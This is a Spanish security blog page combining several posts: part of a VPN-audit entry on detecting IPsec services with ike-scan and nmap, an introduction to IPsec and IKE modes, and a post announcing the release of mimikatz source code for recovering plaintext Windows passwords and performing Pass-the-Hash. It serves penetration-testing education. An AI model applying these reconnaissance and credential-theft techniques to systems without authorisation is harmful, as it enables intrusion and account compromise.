10.48.226.228   Notify message 14 (NO-PROPOSAL-CHOSEN)
        HDR=(CKY-R=03c337535f8887a3)

En este caso, vemos que el servidor nos devuelve una notificación con el mensaje NO-PROPOSAL-CHOSEN. Esto significa que el servicio está ahí pero estamos en alguno de los dos siguientes escenarios:
  • El servidor de VPNs tiene filtrado por IP, por lo que no nos podremos conectar mientras no sea desde alguna de las que tiene en su lista de direcciones permitidas.
  • No estamos usando ninguna transform soportada por el servidor. 
Fíjate que he dicho "ninguna" y no "una". Esto es así porque por defecto, ike-scan envía 8 transforms para que el servidor escoja una. Las opciones que manda son las ocho combinaciones posibles que salen con los siguientes parámetros:
  • Para algoritmo de cifrado: DES y 3DES
  • Para algoritmo de hash: MD5 y SHA-1
  • Para grupo de Diffie-Hellman: 1 (modp768) y 2 (modp1024)
Además, el método de autenticación siempre es PSK y la duración del túnel (SA Lifetime) 28800 segundos.

Si nos encontráramos en este caso, tendríamos que probar diferentes transforms hasta que diéramos con la adecuada. Si no lo conseguimos, entonces no hay mucho más que hacer porque estaríamos en el caso de que existe una lista de IPs permitidas desde las que se puede establecer la conexión con el servidor.

Pero en este caso, en el que el servidor de VPN nos devuelva una notificación, ¿nmap también detecta el servicio? Pues la respuesta es que no siempre:

$ sudo nmap -sU -p 500 -P0 -n -sV 10.48.226.228

Starting Nmap 6.02 ( http://nmap.org ) at 2012-10-31 17:16 CET
Nmap scan report for 10.48.226.228
Host is up (0.43s latency).
PORT    STATE SERVICE VERSION
500/udp open  isakmp?

Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.35 seconds

Sí, nos dice que el puerto está abierto, pero no es capaz de identificar el servicio. Moraleja: cuando tengas duda de si realmente es un servicio VPN, utiliza ike-scan.

Nota: El cómo probar con diferentes transforms lo veremos más adelante, en la cuarta entrega, cuando hablemos del cifrado.

En la próxima parte veremos cómo identificar el tipo de servidor que está sirviendo el servicio de VPN.

31 de octubre de 2012

Auditando VPNs (I): Introducción a IPsec

  ****************************************************
    Auditando VPNs (I): Introducción a IPsec
    Auditando VPNs (II): Enumeración
    Auditando VPNs (III): Fingerprinting
    Auditando VPNs (IV): Cifrado
    Auditando VPNs (V): Modo Agresivo
  ****************************************************

Durante las auditorías externas es muy común encontrarse con concentradores de VPN y no siempre sabemos qué tipo de pruebas realizar sobre estos sistemas.

En una serie de entradas voy a tratar las pruebas más frecuentes que se deben realizar sobre este tipo de dispositivos, centrándonos siempre en las VPN basadas en IPsec (no las basadas en SSL).

En esta entrada voy a comenzar hablando por el principio, introduciendo los conceptos básicos con los que trataremos en el resto de entradas.

Según Wikipedia, IPsec (Internet Protocol security) es un conjunto de protocolos cuya función es asegurar las comunicaciones sobre el Protocolo de Internet (IP) autenticando y/o cifrando cada paquete IP en un flujo de datos además de proveer de un mecanismo para el establecimiento de claves de cifrado.

IPsec, por tanto, está formado por tres protocolos:

  • Authentication Header (AH): Este protocolo se utiliza para proporcionar integridad a nivel de paquete por medio de un checksum que se envía junto al paquete. Otros servicios que proporciona son autenticación del origen de los datos y, opcionalmente, protección frente a ataques de replay.
  • Encapsulating Security Payload (ESP): Este protocolo cifra la comunicación punto a punto, proporcionando confidencialidad. También proporciona autenticación del origen de los datos, protección frente a ataques de replay e integridad.
  • Internet Key Exchange (IKE): Es el encargado de llevar a cabo el intercambio de claves que serán utilizadas por cualquiera de los otros dos protocolos. 

De la información anterior nos quedamos con que:

  1. IKE se ejecuta primero y, de llegar a realizar correctamente la autenticación, entonces se realiza un túnel (ESP) o simplemente se autentican los paquetes (AH). Por lo que frente a un concentrador de VPNs, tendremos que comenzar analizando el protocolo IKE.
  2. AH no cifra las comunicaciones. Tan sólo ESP proporciona cifrado. Por lo que si la VPN funcionara tan sólo con AH, no se estaría cifrando ninguna comunicación entre los clientes y el concentrador de VPNs.

El protocolo IKE funciona en dos fases. En la primera de ellas, se lleva a cabo la autenticación y se crea un canal seguro que será utilizado durante la fase dos. En la segunda fase se configura un canal diferente que será el utilizado para todas las comunicaciones realizadas a través de ESP o AH.

La primera de las fases IKE, soporta dos modos de funcionamiento diferentes: el Main Mode y el Aggressive Mode. El Main Mode es el modo principal (evidentemente) y todos los concentradores de VPN deben soportarlo. En este modo se utiliza el algoritmo Diffie-Hellman para llevar a cabo el intercambio de claves entre el cliente y el servidor.

El Aggressive Mode, a diferencia, no tiene por qué estar implementado en todos los servidores de VPN y se suele utilizar para permitir el uso de claves pre-compartidas (Pre-Shared Key, PSK), ya que el Main Mode no soporta el uso de PSK (actualización 27/01/2014: El Main Mode sí soporta PSK, aunque es menos habitual que en el Aggressive Mode). Este modo tiene ciertas debilidades que iremos viendo a lo largo del resto de entradas.

2 de agosto de 2012

Publicado el código fuente de mimikatz

Hace ya un tiempo que descubrí la herramienta mimikatz pero no había nunca escrito sobre ella porque ya lo hicismos desde aquí y no quería repetir la noticia. También la gente de SbD habló hace muy poco de ella.

El caso, es que a día de hoy la herramienta no es muy conocida. En parte porque su autor, que es un investigador francés, no ha querido traducirla a otro idioma, pero quizá también porque otra gente que ya tiene cierta influencia en este tipo de herramientas se ha dedicado a copiarla y a publicar sus propios derivados por los siete mares, dejando la original en el anonimato.

La herramienta, para quien no la conozca, permite recuperar las contraseñas en claro de todos los usuarios que hayan iniciado sesión en una máquina Windows. Esto significa que no hace falta recurrir al crackeo de los hashes o al Pass-the-Hash para acceder a otros sistemas.

Tiene más funcionalidades como exportar certificados digitales que están marcados con el flag de "No exportables", extraer el hash de los usuarios locales, realizar Pass-the-Hash, hacer trampas en el buscaminas sabiendo dónde están las minas antes de jugar (una de mis favoritas :D), etc. Recuerdo que para que pueda extraer las contraseñas en claro el usuario debe haber iniciado sesión, así que para el resto de usuarios serán necesarios los hashes y el resto del procedimiento que esto implica.

La buena noticia es, que depués de varias entradas en su blog explicando resumidamente cómo accedía a las contraseñas cifradas a través de WDigest y las descifraba utilizando la API de Windows, Gentilkiwi ha acabado publicando el código fuente de la herramienta:

https://code.google.com/p/mimikatz/

Desde luego es una buena noticia ya que nos permitirá adaptar la herramienta y utilizar sus técnicas en otros proyectos además de aprender su funcionamiento interno.

¿Qué os parece, ya tenéis alguna idea?